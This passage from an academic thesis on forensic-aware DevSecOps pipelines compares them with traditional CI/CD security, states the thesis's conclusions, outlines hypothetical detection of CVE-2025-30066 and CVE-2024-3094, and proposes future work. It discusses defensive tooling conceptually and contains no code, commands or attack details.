the workflow is considered done. In the forensic-aware architecture, even if an attacker succeeds
in evading early detection, its presence can be identified and attributed later, and this greatly
changes the risk calculus of the attacker. This acts as a passive deterrent by increasing the cost
of stealth and persistence for adversaries.

In summary, the forensic-aware pipeline does not merely improve security tooling; it redefines
the pipeline’s role from a vulnerability scanner to a continuous forensic sensor, actively contribut-
ing to an organization’s threat detection, incident response, and long-term resilience.

Strengths, Weaknesses, and Key Takeaways The combination of traditional pipelines with
forensic capabilities emphasizes the trade-offs between speed, ease, and defense in depth. One
of the key benefits of the traditional pipeline is its alignment with developer productivity. It
exhibits speed, maintainability, and easy integration with common CI/CD tools. Its security
tests are deterministic, low-noise, and agile-workflow-friendly. Yet such benefits are bought at the
expense of a reduction in responsiveness to unstructured threats. The inherent inflexibility of this
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approach leads to an inability to perceive contextual cues, behavioral drifts, or concerted hostile
elements—anything that doesn’t manifest as a recognized weakness is entirely invisible.

In contrast, the forensic-aware pipeline’s primary strength is its depth of inspection and re-
silience to evasion tactics. By incorporating tools that perform rule matching (YARA), runtime
monitoring (Falco), and external threat correlation (MISP), it moves beyond rule-based scanning
into behavioral and intent-based detection. This capability renders it particularly suitable for aim-
ing at incremental intrusions and fine-grained payloads, which are increasingly common in recent
software supply chain attacks. All these benefits are not without their price. The forensic-aware
pipeline requires more complexity, more execution time, and more cognitive load on security and
DevOps teams. It generates more data and more alerts and requires a mature incident response
capability to act on its findings effectively. A subtle but important weakness in the forensic-
aware approach is that it may challenge development culture. Developers are typically trained
to resolve syntactic errors and dependency issues—not to triage forensic indicators or interpret
anomaly logs. Without solid direction and defined escalation routes, the richer security signal can
become background noise. This reinforces the importance of operational maturity rather than
just tool usage.

The most important lesson that can be derived from this comparison is that security cannot
remain a binary gate final phase of deployment. Modern attacks are not always loud, immediate,
or syntactically incorrect—they are quiet, embedded, and evolve post-deployment. A security
strategy rooted purely in static detection assumes perfect foresight and full visibility, both of
which are unrealistic. The forensic-aware pipeline acknowledges this by embedding layers of
security context across time, creating a continuous audit trail, a feedback loop, and a higher cost
for attackers trying to maintain stealth.

Ultimately, while the traditional pipeline may suffice for compliance and basic code hygiene, it
lacks the introspection necessary for facing persistent, adaptive threats. The forensic-aware model
does not replace it but extends its purpose—transforming the pipeline from a gatekeeper into an
active observer and long-term forensic asset within the software lifecycle. This shift is not only
technical but also philosophical: from preventing attacks to surviving and understanding them.
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Chapter 6

Conclusions

6.1 Conclusion

The analysis described in this thesis explores a novel integration pattern in secure software
pipelines: the convergence of DevSecOps practices with forensic readiness concepts. The con-
vergence seeks to enhance responsive capability in digital forensics, extending it into the largely
proactive space of continuous integration and delivery. The resulting forensic-aware DevSecOps
pipeline is a tectonic change in the manner in which incident response, evidence containment, and
threat attribution are addressed in the traditional automated security practices.

This thesis, although it provides the fully configured and working pipeline, has as its main
purpose to be more than a guide to implementation; it provides a change in assumptions regard-
ing culture and process underlying CI/CD processes. Traditional DevSecOps practice focuses on
vulnerability identification and remediation, often following a prevention-focused approach. How-
ever, as demonstrated in the proof-of-concept chapter and architecture description, even the most
mature automated scanning tools are susceptible to failure. In these instances, having advanced
forensic tools, real-time log collection, and methodical IoC monitoring is not only advantageous,
but it should be a core component of the system, rather than an afterthought.

One of the most substantial insights from this work lies in its challenge to the conventional
separation between operational security and digital forensics. Using tools such as Splunk and Falco
in CI/CD environments, it has been demonstrated that it is not just possible but extremely useful
to integrate evidence-collection systems throughout all phases of the lifecycle, from build through
deployment to runtime. This strategy not only enhances the response time to incidents but also
proactively complies with regulatory and legal requirements for data integrity, traceability, and
post-breach requests.

However, like with all architectural shifts, there exist numerous limitations and potential room
for improvement. Possibly, one of the most critical concerns is associated with the strain that
telemetry and forensic visibility impose on the efficiency and scalability of the system. The
collection of logs, traces, and alerts at high resolution results in higher overhead, demanding
a reasonable tradeoff between data retention, resolution, and responsiveness of the system. In
addition, log format heterogeneity and high volumes of events within complicated pipelines create
substantial challenges in IoC correlation across various contexts. All these facts underpin the
importance of standardized schemas and improved threat intelligence normalization—preferably
adopting community-driven formats like STIX/TAXII.

Although this thesis includes a comprehensive suite of security testing tools—ranging from
SCA, SAST, and DAST to IaC scanners—it notably lacks the application of systematic pene-
tration testing methods paired with the automatic scanning tools. The absence of penetration
testing is not a trivial weakness. Whereas auto-scanning tools replicate the actions of an attacker
using white-box and gray-box techniques, penetration testing replicates the actions of an attacker
with black-box methodologies, and while not having the extensive knowledge or code visibility
of the other tools, it is able to verify with complete certainty whether false positives are indeed
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false and to possibly find vulnerabilities that are missed during static and dynamic analyses.
The incorporation of semi-automated or automated penetration testing tools such as Metasploit
or custom fuzzers invoked using GitHub Actions or Jenkins in the CI/CD pipeline is an essen-
tial step in contemporary security workflows. Furthermore, aligning red teaming activities with
the DevSecOps cadence can deliver strong feedback loops, pushing behavioral data into forensic
models for even more fine-tuning.

Another important aspect, not covered in this thesis, is the psychological impact of increased
surveillance in development environments. Forensic instruments can introduce tension and fric-
tion for legitimate developers when they are overly intrusive or black-boxed, as every change
they make is tracked precisely and could trigger false positives. Therefore, future designs must
consider adaptive logging practices enhanced by privacy and clear alerting controls that support
collaboration rather than fear-based accountability.

Conclusively, the integration of forensic awareness in DevSecOps pipelines is not just a techno-
logical evolution but a significant stride in how software delivery could be aligned to contemporary
cybersecurity threats. Instead of security being a reactive afterthought, this workflow incorporates
investigative capabilities within the development process itself, thereby closing the gap between
prevention and response. The kind of detection achieved by this thesis proves that this kind of
integration is technically feasible, and it is of clear strategic relevance, as it allows for improved
detection, attribution, and mitigation of attacks. Yet, realizing the complete potential of this
architecture depends on continuous tuning of its fundamental components—first and foremost,
how telemetry data is collected, normalized, and processed in real time. Without it, the system
risks falling prey to noise, inconsistency, or blindness to subtle attack signals. Additionally, it is
paramount the addition of structured penetration testing alongside automated security testing.
These elements are not just necessary to validate the pipeline’s resistance to active exploitation
but also to maintain the evidential integrity necessary for compliance with legal and regulatory
requirements.

6.2 Hypothetical Response to CVE-2025-30066 and CVE-
2024-3094

As already explained in the above section, the forensic-aware DevSecOps pipeline, as elaborated
in this thesis, is not a passive security add-on; rather, it has the potential to transform the way
in which vulnerabilities such as CVE-2025-30066 and CVE-2024-3094 are identified, quarantined,
and investigated in a modern CI/CD pipeline. In both cases, the pipeline’s advanced instrumen-
tation, along with the integration of threat intelligence and forensic analysis, plays a key role in
reducing the time between compromise and containment while preserving the evidentiary artifacts
required for both attribution and follow-on analysis.

In the context of CVE-2025-30066, the pipeline’s forensic instrumentation—mostly through
Falco detection rules and its built-in ability for syscall-level event correlation—would provide for
the rapid detection and contextualization of runtime abnormalities related to data exfiltration
or memory scanning[101]. The runtime behavior divergence introduced by this CVE, typically
difficult to detect via standard SAST or DAST, would be detected by Falco’s kernel-space sensors
and could be streamed to Splunk with enhanced metadata. The attack would not just trigger
an alert but would also persist in recording forensic metadata (e.g., user ID, container context,
syscall trace) in a chain-of-custody-compliant fashion.

In the case of CVE-2024-3094, the pipeline’s forensic instrumentation would have offered
substantial value, particularly given the prolonged and stealthy nature of the compromise. While
the vulnerability itself eluded detection for over two years, the integrated forensic analysis—
especially through long-term log retention and anomaly detection via Splunk and Falco—would
have likely surfaced suspicious behavioral patterns inconsistent with legitimate system operations.
Indicators such as anomalous binary files, abnormal code changes, or code substitution could
have been identified retroactively, even if not initially attributed to a known CVE. Moreover, the
pipeline’s ability to ingest and analyze obfuscated payloads with YARA—frequent in advanced
persistent threats—would have raised immediate alerts, pointing to suspicious files.
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Of course, the strength of the pipeline lies not in its ability to prevent such zero-days but in
its architectural readiness to interrogate the aftermath with precision. As an example, in both
CVEs, the fact that the event relative to the build, scan, and deploy phases—where every commit
is logged, hashed, and timestamped—are auditable means that, in the event of a compromise
occurring, the way forward to identifying the root cause can be traced back. This contrasts with
traditional pipelines lacking forensic telemetry, where, in the case of a security incident, response
typically involves rebuilding the events based on incomplete or nonexistent evidence—a process
that sometimes depends more on conjectures than concrete data.

Furthermore, the pipeline’s design encourages cross-silo communication: developers, security
engineers, and incident responders operate on a shared dataset, reducing ambiguity and finger-
pointing during crisis triage. It is in these chaotic moments—when response velocity is paramount
and missteps are costly—that the forensic-aware architecture reveals its most strategic value.

In conclusion, the full architecture designed in this thesis is not only meant to just identify
and detect CVE-2025-30066 and CVE-2024-3094; it would contextualize their impact, facilitate
proper scoping, and maintain admissible evidence for post-mortem analysis and legal account-
ability, representing a level of resilience that has not yet been absorbed by traditional DevSecOps
pipelines.

6.3 Future Work

Although the architecture implemented in this thesis represents an important step toward the
integration of DevSecOps practices and forensic analysis, many directions for further development
remain open. The designed pipeline has demonstrated effectiveness in detecting a vulnerability
of a nature out-of-scope of traditional DevSecOps tools, but further development could increase
the accuracy and scalability of the approach by adapting it to real-world production scenarios.

Machine Learning and correlation of forensic events Forensic automation in use today
relies on deterministic patterns and static rules (e.g., YARA, IoC extraction from MISP). Yet,
threat evolution indicates the necessity of adaptive approaches. The incorporation of Machine
Learning (ML) methodology, specifically anomaly detection models or supervised clustering of
events gathered by Splunk or Falco, can enhance the system in differentiating between suspicious
events and false positives, linking attack chains, and predicting attacker behavior. In addition,
temporal analysis of log data using RNNs or autoregressive models could improve the detection
of persistent attacks or those based on slow poisoning techniques.

Multi-repository environments Among the limitations of the project is its implementation
on a single vulnerable application and in a controlled test environment. In a real-world scenario,
software projects consist of various microservices deployed on various repositories with individual
deployment pipelines. Thus, a first step for the future will be the integration of the forensic model
in a multi-repository context, evaluating the consistency of traces between separate pipelines,
cross-tracking of events, and temporal correlation of IoCs generated across multiple components.
In particular, maintaining evidence consistency in federated CI/CD environments is a significant
challenge.

Automated forensic response and self-healing Currently, the pipeline implements detec-
tion and logging functions, but incident response is manual. A natural direction of future work is
to implement “automated incident response" policies, leveraging GitHub Actions mechanisms for
automatic rollbacks, revocation of compromised container images, isolation of suspicious environ-
ments, or disabling users. In parallel, self-healing logic can be investigated through immutable
containers, confined workloads, and automatic restoration of original configurations in case of
tampering.
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